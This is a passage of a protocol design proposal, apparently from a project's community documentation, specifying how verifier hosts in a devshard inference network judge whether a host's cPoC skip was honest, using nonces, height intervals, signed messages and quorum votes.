n Generic Diff nonce. — R_req Request nonce. The nonce at which MsgStartInference is appended to Diff (Path A) — the inference request a cPoC skip answers. D → devshard (MsgStartInference). N_SP Probe nonce. The nonce at which MsgSkipProbe is appended to Diff (Path B) — the lightweight probe that plays R_req's role when no prompt is submitted. D → devshard (MsgSkipProbe). N_carry Carry nonce. The nonce at which the CarrySkip envelope (embedding either the signed CPoCSkipResponse or CPoCProbeResponse) is appended to Diff. This is the only verdict-bearing artifact in Diff; every verifier computes Verdict from Diff[N_carry]. Causality: R_req < N_carry in Path A (distinct proto messages ⇒ distinct nonces, and the dev cannot sign the carry until after the host's p2p response exists); N_SP < N_carry in Path B for the same reason. D → devshard (CarrySkip). X Witness nonce. The latest nonce ≤ R_req (or ≤ N_SP) whose executor is V itself; height_at[X] is V's local height observed no later than R_req and is the lower endpoint of the freshness interval I = [h_X, h_carry]. Formula and derivation in § Verdict predicate, step 1. Computed locally by each V. N_slots Number of executor slots per round; executor(n) = hosts[n mod N_slots] (assumption 4). Chain / epoch parameter."}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#problem-statement", "title": "Problem statement", "text": ""}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#1-skip-correctness", "title": "1. Skip correctness", "text": "A host that returns “skipping because of cPoC” may be:
Schedule(H_i, H) ∈ {prepare, active} and H_i ∉ PoC_slot_set, orCPoC_SKIP while not scheduled / while in PoC_slot_set (avoids work).The protocol must let every honest verifier **V reach the same verdict from the same diff, using **H(V) as the height oracle (assumption 1).
A developer could hold a host's cPoC skip response and later attach it via CarrySkip. Mitigation is layered:
I = [h_X, h_carry] each verifier personally witnesses (§ Nonce binding). A late carry of a genuine skip blob remains Valid — it was truthful at a height in I; a late reveal does not retroactively make it a lie. Only skips that were never legitimate at any height in I produce Invalid.MsgTimeoutInference{…CPOC} timeouts and finalization deadlines.Under high inference rate, if most hosts skip during cPoC, per-skip gossip is unacceptable:
It is important that each host can participate in a lot of devshards, so gossip traffic is highly unwanted and is limited to disputes and settlement cases.
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#design-principles-high-level", "title": "Design principles (high level)", "text": "The formalization in § Data flow and the cases in § Cases to handle are chosen to satisfy the following principles. Nonce symbols (R_req, N_SP, N_carry, X, N_slots) are defined in Shared assumptions → Notation; H(V), Schedule, and PoC_slot_set in Shared assumptions items 1–3; timeout_skip_gossip under § Gossip minimization.
The developer chooses one of two shapes when opening a request, he can request with an inference and get cPoC skip response or can ckip in advance host that is doing cPoC; both converge on the same Verdict predicate.
Path A — inference with possible cPoC refusal (full payload). Developer submits a real inference request; the host either confirms and runs it, or refuses because of cPoC.
D → devshard : MsgStartInference(R_req, prompt_hash, …) [into Diff at R_req]\n\n happy path → H_i → devshard : MsgConfirmStart(R_req) [into Diff]\n → … → MsgFinishInference\n\n cPoC path → H_i → D : CPoCSkipResponse(R_req, reason) [p2p; NOT in Diff]\n D → devshard : CarrySkip(N_carry, <embedded CPoCSkipResponse>)\n [into Diff at N_carry]\nPath B — lightweight skip probe (no prompt, no inference cost). Developer asks H_i to report its cPoC state without paying a prompt. The host does not execute inference; it just returns a signed status. The response has two possible outcomes:
H_i is still on cPoC (cpoc_active or cpoc_prepare); behaves like a Path-A skip for verdict purposes.H_i has finished cPoC and is READY_INFERENCE; the developer should resume sending real MsgStartInference to H_i.D → devshard : MsgSkipProbe(N_SP) [into Diff at N_SP]\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}) [p2p; NOT in Diff]\nD → devshard : CarrySkip(N_carry, <embedded CPoCProbeResponse>) [into Diff at N_carry]\n # N_SP < N_carry strictly (two distinct Diff entries)\nA ready outcome carried into Diff is not an Invalid skip — the verdict predicate simply does not apply (no refusal to validate). It is instead a scheduling receipt: V records that H_i signalled ready at a height in [h_X, h_carry]. Subsequent developer behaviour is checked against that receipt by C13 (developer keeps probing / skipping a ready host — see § Cases).
Future optimization (deferred, see Open question §8). Once D has a fresh CarrySkip proving H_i is on cPoC, subsequent skips of H_i within the same cPoC window should not need a full probe roundtrip: D can place a single developer-signed marker into Diff at H_i's slot and route the real request to H_{i+1}. Collapses the three-message Path-B triple (MsgSkipProbe → CPoCProbeResponse → CarrySkip) to one D-signed entry per repeated skip. Out of scope for this release; the current doc specifies only the explicit-probe flow.
Key invariants shared by both paths:
CPoCSkipResponse (Path A refusal) or CPoCProbeResponse (Path B status), the host's signed statement only enters the verifier's field of view when the developer echoes it via **CarrySkip** into Diff.**CarrySkip is the primary verdict-bearing artifact in Diff. Every V computes Verdict from Diff[N_carry]. For Path A**, the predicate additionally scans Diff for a MsgConfirmStart matching the same inference_id; if one exists (in either direction relative to N_carry), the verdict is Invalid against H_i for double-claim (see § Verdict predicate, step 2, and § Cases → C2').Diff entries per path. Both paths have R_req < N_carry (resp. N_SP < N_carry) strictly: different proto messages occupy different nonces, and the developer signature on CarrySkip binds bytes that only exist after the host's p2p response arrives.CarrySkip has reached a final Verdict, closing the inference record at chain level uses the existing MsgTimeoutInference{reason = TIMEOUT_REASON_CPOC} path (new enum value); this settlement step is not what the verdict depends on.Everything below — nonce binding, gossip minimization, data flow, cases — applies to both paths uniformly; the only Path-B specialization is the additional ready outcome (and its follow-on case C13).
Because of asynchronous developer traffic (Shared assumptions, item 5), the response to a request sent at nonce **R_req** may appear in Diff only at nonce **R_req + x**, **x ≥ 0**. The delay x is not bounded in rounds — rounds can be far faster than mainnet blocks or host response, so many rounds may legitimately elapse between R_req and N_carry. Verdicts therefore bind to a height interval that each verifier constructs locally from its own observations of Diff:
**R_req** (the request it answers), stated inside the signed CPoCSkipResponse. (Term chosen to avoid collision with the height-sync \"Anchor\", which is out of scope here.)**N_carry** (the nonce at which CarrySkip is appended to Diff and becomes visible to verifiers).X = the latest nonce ≤ R_req whose executor is V itself — a nonce V personally handled, so height_at[X] is a height V actually observed no later than R_req. The exact formula (same round vs. previous round, depending on SP_v vs. SP_e) and its derivation are given in § Verdict predicate, step 1.I = [h_X, h_carry] where h_X := height_at[X] and h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry]. This interval bounds the set of mainnet heights at which the host's skip could physically have been produced, as seen through this verifier's local clock.Schedule(H_i, H) ∈ {prepare, active}. If no height in I places H_i on the cPoC schedule, the skip could not have been truthful at any moment V witnessed → Invalid against H_i. A stale but genuine skip blob replayed well after the host returned to READY_INFERENCE is still Valid — the host was legitimately refusing at some height in I; a late carry does not retroactively make it a lie. (Replay / withholding harms settlement, not the cPoC verdict — see § Consensus / voting and the settlement-only row in the primitives table.)h_X and h_carry from its own height_at[·] map; the developer's or host's claimed height in CPoCSkipResponse is informational and is not input to the verdict.timeout_skip_gossip after N_carry the session advances to N_carry + N_slots (one full round), every honest verifier has seen the evidence via the diff. No dedicated gossip is emitted.V with a non-Valid verdict MAY emit a compact SkipEvidenceGossip pointing into Diff. Peers re-run the verdict predicate locally.Parameter **timeout_skip_gossip (proposal: ≈ 2 mainnet blocks) is chain-parametrized**; its exact value is out of scope here.
When a host skips inference because of confirmation PoC, every other host can tell if that skip was honest or cheating—without flooding gossip.
The session is an append-only log of messages, each at a monotonic nonce. Everyone reasons from what landed in Diff, not from private p2p alone. Verifiers see host answers only after the developer carries them into Diff. CarrySkip is the verdict-bearing artifact.
Two ways to open a skip
How verifiers judge (each host V locally) When V ingests Diff[N_carry]:
I = [h_X, h_carry] from heights V recorded when it processed earlier nonces (witness nonce X ≤ request, carry at N_carry).H_i actually on cPoC (prepare/active) at some height in I? If never → Invalid (lying skip). If yes → Valid (even if carried late—anti-cheat, not anti-replay).Votes & settlement Non-Valid verdicts → signed CPoCVote → quorum / finalization.
Usually no extra gossip: the diff propagates the evidence. Gossip is a rare fallback when the session is slow to advance one full executor round.
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#data-flow-formalized", "title": "Data flow (formalized)", "text": ""}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#parties", "title": "Parties", "text": "Symbol Role**D** Developer / client. **H_i** Host at slot **i** (i = nonce mod N_slots). **V** Any verifier (a host that observes the session diff and must form a verdict)."}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#per-session-local-state-at-each-v", "title": "Per-session local state (at each **V**)", "text": "Symbol Meaning **Diff** Append-only linearized diff of session messages, indexed by monotonic nonce **n**. **H(V)** Height oracle (out of scope — supplied by HEIGHT_SYNC_PROTOCOL_PROPOSAL): mainnet height known to the majority of validators as of **V**’s latest height-sync convergence. **height_at[n]** Local map: when V ingests diff entry at nonce **n**, it records **H(V)** at that moment. Not shared; local only. **PoC_slot_set** See assumption 3. **pending_verdicts** Buffer of skip attestations ingested from Diff whose Verdict is not yet final, keyed by (R_req, N_carry). Three reasons an entry sits here: (a) **Inconclusive** — I's endpoints (h_X, h_carry) are not yet strictly confirmed by the height-sync layer (resolution key: confirmation signal covering I, see C6); (b) **Invalid** awaiting the round-elision / gossip deadline (C9/C10); (c) **provisional** within the seal window [h_carry, h_carry + W_seal] used by step (2) of the Verdict predicate — a MsgConfirmStart for the same inference_id may still arrive and flip the verdict to Invalid (C2'). Note that Diff[X] is always present by the time Diff[N_carry] is ingested (because X ≤ R_req ≤ N_carry and Diff is append-only), so h_X is always immediately computable — no \"wait for witness\" deferral exists. Each entry holds: N_carry, R_req, skipping host H_i, raw signed host response (CPoCSkipResponse or refusal-outcome CPoCProbeResponse), current tentative verdict (if any), provisional_until mainnet height (when reason (c) applies), and the resolution key/deadline. Entries are removed on commit: Valid → drop after the seal window expires; Invalid → hand to finalization. ready-outcome carries never enter this buffer — they are recorded directly in ready_at (below). **ready_at** Map host → (N_carry, h_carry, reset_height?) recording the latest CPoCProbeResponse(outcome = ready) for each host, from the most recent CarrySkip in Diff with payload_kind = probe_response and outcome = ready. Consumed by case C13 (developer withholding from a ready host). Cleared for H_i when V later observes either (a) Schedule(H_i, H) ∈ {active, prepare} strictly confirmed for some H > h_carry, or (b) a fresh non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried into Diff. **withholding_alert** Per-(D, H_i) flag set by V when the C13 violation predicate fires on local Diff observations; cleared per C13 flow step 5. While set, V (if queued as a future executor for D) refuses to serve D until fairness is restored."}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#primitives", "title": "Primitives", "text": "Names in subnet/proto/subnet/v1/{tx,diff}.proto unless marked (new). The verdict-predicate input set is MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip; the verdict-settlement input set is CPoCVote; the remaining messages are p2p carriers (CPoCSkipResponse, CPoCProbeResponse), delivery gossip (SkipEvidenceGossip), or final settlement (MsgTimeoutInference{…CPOC}).
**MsgStartInference** Diff (existing) D → devshard Inference request at nonce R_req: inference_id, prompt_hash, model, input_length, max_tokens, started_at. Path A only; this is the request the cPoC verdict anchors on. **MsgConfirmStart** Diff (existing) H_i → devshard Happy-path executor confirmation: inference_id, executor_sig, confirmed_at. Absent when H_i is skipping for cPoC. Presence alongside a matching Path-A CarrySkip for the same inference_id is a protocol violation: both messages carry H_i's signature on contradictory claims, and Verdict step (2) flips the verdict to Invalid against H_i (see § Cases → C2'). The mutual-exclusion check holds regardless of the order in which the two entries appear in Diff. **CPoCSkipResponse** p2p (not in Diff) H_i → D Path A only. Host's signed refusal to a real inference request: inference_id, reference_nonce = R_req, reason ∈ {cpoc_active, cpoc_prepare}, optional claimed_height_h_i (informational; verdict ignores it), host signature under domain cPoCRefusalContent. **CPoCProbeResponse** p2p (not in Diff) H_i → D Path B only. Host's signed response to a skip probe: probe_nonce, reference_nonce = N_SP, outcome ∈ {cpoc_active, cpoc_prepare, ready}, optional claimed_height_h_i (informational), host signature under domain cPoCProbeResponseContent. ready means H_i has exited cPoC and expects real inference requests. **CarrySkip** Diff (new message in SubnetTx oneof) D → devshard Developer-signed envelope that embeds exactly one host response blob — either a CPoCSkipResponse (Path A) or a CPoCProbeResponse (Path B) — and places it at nonce N_carry: nonce = N_carry, referenced_nonce = R_req (or N_SP), payload_kind ∈ {skip_response, probe_response}, bytes host_response, developer signature under domain CarrySkipContent. The only verdict-bearing / scheduling-bearing cPoC artifact in Diff. **MsgSkipProbe** Diff (new message in SubnetTx oneof) D → devshard Path-B lightweight probe: probe_nonce = N_SP, target_host_id, session/routing, no prompt payload. Enters Diff at N_SP. The host's response (CPoCProbeResponse) is p2p and echoed into Diff via a subsequent CarrySkip at N_carry > N_SP. CPoCVote p2p (→ collector), bundled into finalization V → collector Signed verdict vote emitted by each verifier with a non-Valid local verdict. Fields: N_carry, referenced_nonce, target ∈ {host(H_i), carrier(D), developer(D)}, verdict, reason_code, schedule_witness, signature under domain cPoCVoteContent. Collector: for target = host(H_i), developer D aggregates until quorum_invalid (this release). For votes against D (C3′, C13), aggregation belongs in the finalization round once self-finalization exists — not D. This release leaves that path unspecified (optimistic gap); see § Consensus / voting. MsgTimeoutInference with reason = TIMEOUT_REASON_CPOC Diff (existing message + new enum) collector → devshard Settlement only. After the CPoCVote quorum has decided a final Verdict, the inference record is closed through the existing timeout path with the new reason. Carries inference_id, repeated TimeoutVote votes. Verifiers do not need this to compute the verdict. SkipEvidenceGossip Off-diff gossip host ↔ hosts Used only when round-elision fails (§ Gossip minimization). References entries in Diff (inference_id, N_carry, vote indexes). Delivery aid only — makes the same CarrySkip visible to lagging peers so they can compute their local verdict and emit CPoCVote. Does not itself contribute to the verdict or the vote bundle."}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#end-to-end-flow-happy-path-host-actually-on-cpoc", "title": "End-to-end flow (happy path, host actually on cPoC)", "text": " nonce R_req nonce R_req+1..N_carry-1\n D ─────────────── InferenceRequest(R_req) ─────────────▶ H_i (other requests to H_{i+1..})\n │\n H_i in cPoC\n │\n D ◀─────────── CPoCSkipResponse(R_req, reason) ───────────┘ (arrives async, R_req + x in Diff)\n\n D ───── CarrySkip(N_carry) embeds CPoCSkipResponse(R_req, …) ──▶ any host ──▶ Diff[N_carry]\n\n each V observing L:\n on ingest Diff[N_carry]:\n record height_at[N_carry] = H(V)\n evaluate Verdict(…) using H(V) and nonce-window rules below\nV computes **Verdict(skip_evidence) ∈ {Valid, Invalid, Inconclusive}** as:
CarrySkip in Diff that references R_req (see \"First-carry rule\" below):R_req ≤ N_carry. A CarrySkip cannot reference a request that has not yet entered Diff. Failure → Invalid against the carrier (developer signature on CarrySkip), not against H_i.X (per § Design principles → Nonce binding). Let SP_e = R_req mod N_slots, SP_v = v_slot, round(R_req) = ⌊R_req / N_slots⌋. Then:SP_v ≤ SP_e → X = round(R_req) · N_slots + SP_v (same round as R_req, X ≤ R_req).SP_v > SP_e → X = (round(R_req) − 1) · N_slots + SP_v (previous round, X < R_req). Taking V's slot in the current round would reference a nonce after R_req; its height_at would be observed after R_req and could not lower-bound H_skip. Stepping back one round gives the latest executor-of-V nonce ≤ R_req.X = R_req − ((SP_e − SP_v) mod N_slots).h_X := height_at[X] — V's local height when it ingested Diff[X]. By construction X ≤ R_req, so h_X was observed no later than the request itself.h_carry := height_at[N_carry] = H(V) at ingest of Diff[N_carry].h_X ≤ h_carry (heights are monotonic at ingest), and h_carry ≤ H(V)_now (trivially — V is ingesting N_carry right now and stamps h_carry from H(V)_now).**Diff[X] is always available when Diff[N_carry] is being ingested.** By construction X ≤ R_req, and causality (checked first in this step) requires R_req ≤ N_carry, so X ≤ N_carry. Because Diff is append-only and ingested in order, every Diff[k] with k ≤ N_carry is already present when V processes Diff[N_carry].X does not identify a real prior executor-slot of V is round(R_req) = 0 ∧ SP_v > SP_e, where the closed form yields X < 0 — V had no executor slot before R_req in this session. V then falls back to the implicit session-start anchor (the lowest nonce V has ingested, typically 0) as the lower endpoint h_X. This is a cold-start condition only; it does not recur once V has executed at least once.**I := [h_X, h_carry], consumed by step (4). The correct bound is in mainnet heights, and each verifier derives it from heights it personally observed (h_X and h_carry) — no cross-host height assumption required. First-carry rule. If the developer publishes multiple CarrySkip entries for the same R_req, only the earliest N_carry in Diff is admitted as input to the verdict; later duplicates are ignored (they may still be recorded for developer-misbehavior accounting, out of scope for this predicate). This keeps I deterministic across verifiers. Path B. For MsgSkipProbe (case C7) the rule is identical, with R_req := N_SP (the probe nonce) and N_SP < N_carry strictly. CarrySkip may wrap either a CPoCSkipResponse (refusal) or a CPoCProbeResponse (status). If the carried outcome is ready, steps (3–4) of the Verdict predicate do not apply (no refusal to evaluate); the carry is instead recorded as a scheduling receipt consumed by case C13. Worked examples** (let N_slots = 4, V's slot SP_v = v_slot = 2):R_req SP_e branch N_carry round(R_req) X h_X h_carry Result 10 2 SP_v = SP_e (V is executor) 10 2 10 500 500 pass; I = {500} (evaluate Schedule(H_i, 500) in step 3) 10 2 SP_v = SP_e 13 2 10 500 500 pass; same block ⇒ I = {500} 10 2 SP_v = SP_e 40 2 10 500 520 pass; I = [500, 520] — step 3 seeks any H in that interval on the cPoC schedule 11 3 SP_v < SP_e (same round) 40 2 10 500 520 X = 11 − 1 = 10 (same round as R_req); I = [500, 520] 9 1 SP_v > SP_e (previous round) 40 2 6 498 520 X = 9 − 3 = 6 (round 1, not round 2); h_X = 498 observed before R_req; I = [498, 520] 1 1 SP_v > SP_e, round = 0 10 0 — — — bootstrap edge case: no previous round ⇒ fall back to session-start anchor as h_X 10 2 — 9 — — — — fail (causality) → Invalid carrier 10 (probe N_SP) 2 SP_v = SP_e 13 2 10 500 500 pass; I = {500} (Path B; N_SP < N_carry strictly) CarrySkip envelope has payload_kind = skip_response (Path A); skipped for Path B (payload_kind = probe_response, which references N_SP and has no inference_id to collide). Procedure:inference_id* := Diff[R_req].inference_id — read from the original MsgStartInference entry (which must already be in Diff by causality, step 1).Diff for any entry satisfying kind = MsgConfirmStart ∧ inference_id = inference_id* ∧ executor = H_i. Call the matching nonce N_confirm if found.N_confirm < N_carry → Invalid against H_i, reason_code = double_claim_confirm_then_skip. The host confirmed the inference (and therefore ran it, or must have intended to) and then signed a contradictory CPoCSkipResponse that D later carried. This is a cryptographically provable lie: both the MsgConfirmStart.executor_sig and the embedded CPoCSkipResponse signature are H_i's.N_confirm > N_carry (confirm appears after the carry) → Invalid against H_i, reason_code = double_claim_skip_then_confirm. Symmetric violation: the host refused the request, then later confirmed and ran the same inference.MsgConfirmStart for inference_id* may arrive after V has already ingested N_carry and computed a verdict, the verdict from step (4) is provisional for W_seal mainnet blocks after h_carry (W_seal is chain-parametrized — propose ≈ 2 blocks, matching timeout_skip_gossip). During the seal window, if a contradictory MsgConfirmStart lands, V re-runs the predicate and emits a superseding CPoCVote keyed on (N_carry, V_pubkey) (§ Consensus / voting); the collector keeps only the latest. After W_seal expires the verdict is final and this step stops re-firing; any post-seal MsgConfirmStart is a settlement-layer issue, not a cPoC verdict flip. V tracks the seal window via a provisional_until[N_carry] = h_carry + W_seal entry attached to pending_verdicts.MsgConfirmStart for inference_id if a CarrySkip whose embedded skip-response references the corresponding R_req already exists in Diff, and (ii) a CarrySkip(payload_kind = skip_response) referencing R_req if MsgConfirmStart(inference_id = Diff[R_req].inference_id) already exists. Because Diff ordering is already deterministic, this rejection is a pure function of Diff and race-free. With this rule active the scan above catches only the seal-window race.H_i ∉ PoC_slot_set. Otherwise → Invalid (host had POC_SLOT = true, must not skip).I.∃ H ∈ I : Schedule(H_i, H) ∈ {prepare, active} → candidate Valid (subject to (5)). The host was legitimately on cPoC at some height V personally witnessed in I; that is sufficient.∀ H ∈ I : Schedule(H_i, H) == idle → candidate Invalid (subject to (5)). The host claims cPoC refusal but is not on the schedule at any height in I.I (h_X and h_carry) are strictly confirmed by the height-sync layer (assumption 1), commit to the candidate from (4). If the height-sync layer flags either endpoint as not yet strictly confirmed, and the schedule verdict is adversarial (Invalid), V MUST hold the verdict as Inconclusive until height sync reports confirmation covering I — then re-run step (4). This could be scheduled for future releasesCPoCSkipResponse must be validly signed by H_i and reference R_req as it appears in Diff.Outputs feed Gossip minimization (below) and, for disputes, FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.
"}, {"location": "community/discussion/proposals/1256-devshard-cpoc-skip-protocol/#cases-to-handle-case-dataflow", "title": "Cases to handle (case / dataflow)", "text": "Legend: R_req = Path-A inference-request nonce (or, in Path B, aliased to the probe nonce N_SP); N_carry = nonce at which CarrySkip is appended to Diff; both paths have R_req < N_carry strictly. R denotes the executor round of size N_slots.
Setup: Schedule(H_i, H(V)) = active, H_i ∉ PoC_slot_set, dev behaves normally.
Flow:
D → H_i : InferenceRequest(R_req)\nH_i → D : CPoCSkipResponse(R_req, active)\nD → H_{i+1} : next InferenceRequest at R_req+1 carrying skip blob\n (or separate CarrySkip at some N_carry ≥ R_req)\nV (= any host): on Diff[N_carry] → Verdict = Valid (nonce window + schedule)\nExpected verdict: **Valid**. No gossip, no finalization trigger.
Setup: Schedule(H_i, H(V)) = idle, H_i ∉ PoC_slot_set, but H_i replies CPoCSkipResponse to avoid work.
Flow: Same as C1 up to the point the developer publishes CarrySkip. Each host V then:
V on Diff[N_carry]:\n compute Verdict(...) = Invalid # Schedule check fails at I\n emit CPoCVote(N_carry, verdict = Invalid, signed_by=V) # p2p to D (and optionally gossip)\nD collects CPoCVote messages from distinct hosts:\n if |votes(Invalid)| ≥ quorum_invalid:\n verdict is settled as Invalid\n D hands the vote bundle to finalization (today)\n — OR —\n hosts publish votes at the next finalization round (future release; see § Consensus / voting)\nExpected verdict: Invalid (Schedule check fails on the height interval I). The Invalid outcome is not attached to finalization by one party; it is the quorum of CPoCVotes from hosts that observed Diff[N_carry] and independently reached the same verdict. See § Consensus / voting for the vote-collection protocol and the \"developer today / self-finalization tomorrow\" split.
Setup: H_i signs both a MsgConfirmStart and a CPoCSkipResponse for the same inference_id (directly or via D carrying the skip blob). The two messages are cryptographically incompatible: MsgConfirmStart.executor_sig commits H_i to running the inference, and the embedded CPoCSkipResponse commits H_i to refusing it. Applicable only to Path A (payload_kind = skip_response); Path B has no inference_id on the carry and cannot trigger this case.
Flow (confirm before carry):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_confirm] : MsgConfirmStart(inference_id = I, executor = H_i) # H_i claims \"I ran it\"\n... time passes ...\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(reference_nonce = R_req,\n signed by H_i) # contradicts confirm\n\nV on ingest of Diff[N_carry]:\n Verdict predicate, step 2:\n inference_id* = Diff[R_req].inference_id = I\n scan Diff → found MsgConfirmStart(I, H_i) at N_confirm < N_carry\n ⇒ Invalid against H_i (reason_code = double_claim_confirm_then_skip)\n emit CPoCVote(Invalid, target = host(H_i), reason_code = …)\nFlow (skip carried first, confirm arrives inside the seal window):
Diff[R_req] : MsgStartInference(inference_id = I)\nDiff[N_carry] : CarrySkip embedding CPoCSkipResponse(…, signed by H_i)\nV on ingest: provisional Valid (or Invalid on other grounds); records\n provisional_until = h_carry + W_seal in pending_verdicts\n\n... within the seal window ...\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # H_i claims the inference after refusing it\n\nV on re-run of the predicate:\n step 2 detects N_confirm > N_carry within seal window\n ⇒ Invalid against H_i (reason_code = double_claim_skip_then_confirm)\n emit superseding CPoCVote — collector replaces V's prior vote for (N_carry, V_pubkey)\nFlow (confirm arrives after the seal window):
Diff[N_carry] : CarrySkip(...) # sealed Valid after W_seal\nDiff[N_confirm] : MsgConfirmStart(I, H_i) # too late to flip the cPoC verdict\n\nV: does NOT re-open the settled verdict; the protocol violation is instead\n handed off to settlement (finalization) as stand-alone evidence that\n H_i signed two contradictory statements about inference I.\nExpected verdict: **Invalid against H_i** whenever both artifacts land in Diff within the seal window of each other. Settled via the standard CPoCVote quorum (§ Consensus / voting), with the vote bundle carrying reason_code ∈ {double_claim_confirm_then_skip, double_claim_skip_then_confirm} and pointers to both Diff entries as the cryptographic evidence of the contradiction. Outside the seal window the violation is still slashable, but at the settlement layer rather than as a cPoC-predicate flip (keeps verdict finality bounded).
Optional devshard-ingest hardening. The devshard MAY refuse to append either message when the other already exists in Diff (Verdict predicate, step 2, \"Defence in depth at ingest\"). This shifts the rejection from the predicate layer to the gateway layer for the common case; the predicate's step 2 remains in force for the race window during which both messages can legitimately arrive at the ingest layer concurrently.
Setup: H_i returned a legitimate CPoCSkipResponse at R_req during its cPoC window (height H_skip). Developer holds the blob for arbitrarily many rounds and later emits CarrySkip at N_carry ≫ R_req.
Flow:
D → devshard : MsgStartInference(R_req) # during H_i's cPoC window\nH_i → D : CPoCSkipResponse(R_req, active) # p2p, signed by H_i at H_skip\n... time passes; Diff advances; mainnet advances past H_skip ...\nD → devshard : CarrySkip(N_carry, CPoCSkipResponse) # late carry\nV on Diff[N_carry]:\n SP_e = R_req mod N_slots; SP_v = v_slot\n X = R_req − ((SP_e − SP_v) mod N_slots) # same round if SP_v ≤ SP_e, else previous round\n h_X = height_at[X] (≈ H_skip — V's height observed at or before R_req)\n h_carry = H(V) at ingest of Diff[N_carry]\n I = [H_skip, h_carry]; Schedule(H_i, H_skip) ∈ {prepare, active} ⇒ step 3 passes\n Verdict = Valid\nExpected verdict: **Valid. The host's attestation is truthful for a height in I; lateness does not retroactively make it a lie. Any residual harm (inference record kept open, stalled settlement) is handled at the settlement layer (MsgTimeoutInference{…CPOC} and finalization deadlines), not** by the cPoC verdict predicate.
Setup: Developer publishes a CarrySkip with N_carry < R_req (references a request that has not yet entered Diff).
Flow: Step (1) of the verdict predicate rejects the envelope on the causality inequality R_req ≤ N_carry.
Expected verdict: **Invalid against the carrier (developer signature on CarrySkip), not** against H_i. This is a pure forgery check, independent of any height interval.
POC_SLOT = true host returns skip", "text": "Setup: H_i ∈ PoC_slot_set (inference-exempt during others’ cPoC), yet replies CPoCSkipResponse.
Flow: any normal request/response leading to a carried skip.
Expected verdict: Invalid (Role check fails). Verdict is settled by vote quorum (see C2 / § Consensus / voting): every host computes the same Invalid and emits CPoCVote; the collected bundle is the evidence handed to slashing (H_i).
prepare window", "text": "Setup: Schedule(H_i, H(V)) = prepare (policy-dependent).
Decision: Same verdict rules as active.
Setup: Schedule(H_i, H(V)) = idle, but height-sync layer has not yet strictly confirmed H(V) for the nonce-window (out of scope for us — we only consume its signal).
Flow: Verdict step (4) returns Inconclusive.
Expected action: V does not emit a CPoCVote yet; it waits for the height layer to confirm. If confirmed Invalid, V emits CPoCVote(Invalid) and the standard vote-quorum flow (§ Consensus / voting) collects the bundle. If confirmed Valid, no vote is emitted and no action is taken.
Setup: D wants a cPoC status check from H_i without submitting a prompt. Schedule(H_i, H) ∈ {active, prepare} at the height the probe is answered.
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i) # into Diff at N_SP\nH_i → D : CPoCProbeResponse(N_SP, outcome ∈\n {cpoc_active, cpoc_prepare}) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n R_req := N_SP\n run the Verdict predicate (steps 1–5) unchanged\nExpected verdict: **Valid** (same predicate as Path A, applied with R_req := N_SP).
Setup: D probes H_i. H_i has finished its cPoC window and is in READY_INFERENCE (Schedule(H_i, H) = idle at the answering height).
Flow:
D → devshard : MsgSkipProbe(N_SP, target = H_i)\nH_i → D : CPoCProbeResponse(N_SP, outcome = ready) # p2p, signed by H_i\nD → devshard : CarrySkip(N_carry, CPoCProbeResponse) # into Diff at N_carry > N_SP\nV on Diff[N_carry]:\n detect payload_kind = probe_response AND outcome = ready\n record scheduling receipt: ready_at[H_i] = (N_carry, h_carry)\n Verdict predicate steps (2–3) do NOT apply (no refusal to evaluate)\nExpected verdict: not applicable. The carry is a scheduling receipt, not a skip attestation. It obliges the developer to resume routing real MsgStartInference to H_i at subsequent H_i-slot nonces. Persistent deviation after this receipt triggers C13.
Setup: H_i returns nothing (neither inference nor skip).
Expected action: Out of scope of cPoC-skip verdict. Governed by **USER_TIMEOUT in FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. cPoC protocol contributes no** verdict in this case.
Setup: After timeout_skip_gossip the diff has not advanced one full round, so not every V has necessarily seen the carried skip and the vote collector (see § Consensus / voting) has not yet reached quorum_invalid.
Flow:
V1 emits SkipEvidenceGossip(Diff-refs) to peers # lagging peers catch up on Diff\npeers reconstruct Diff-refs, compute Verdict locally,\n and emit CPoCVote if their verdict is non-Valid\ncollector aggregates votes (`D` for host-fault cases this release; finalization round for developer-target votes when self-finalization exists — see § Consensus / voting)\nExpected verdict: whatever the vote quorum declares on the same Diff evidence. SkipEvidenceGossip is a delivery aid only; it does not compute a verdict, it just makes the same CarrySkip visible so lagging peers can vote.
Setup: High request rate; the diff naturally advances past R_req + N_slots within timeout_skip_gossip.
Expected action: No SkipEvidenceGossip emission needed; every V has the evidence by construction. Each V independently computes Verdict and, if non-Valid, emits CPoCVote. The collector aggregates votes as usual.
Setup: A verdict is Invalid (C2, C2', C4, C6-confirmed-invalid, C3', or C13).
Flow: Once quorum_invalid is reached, the collector assembles an evidence bundle consisting of: (i) the refs into Diff for MsgStartInference / MsgSkipProbe, CarrySkip, and (for C13) the H_i-slot window; (ii) the set of CPoCVote messages achieving quorum; (iii) the relevant schedule inputs (PoC_slot_set, Schedule at heights in I). This bundle is handed to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md for inclusion in the finalization bundle for mainnet — the bundle is the input to slashing.
Setup: V has stale PoC_slot_set or wrong epoch schedule (not the network majority view).
Expected behavior: V is at fault for mis-verdict; this is a node-operator / epoch-refresh issue, not host fault. Recovery belongs to the schedule/epoch layer (out of scope). The protocol must log the conflict so operators can detect it; it must not penalize H_i when only an outlier V disagrees.
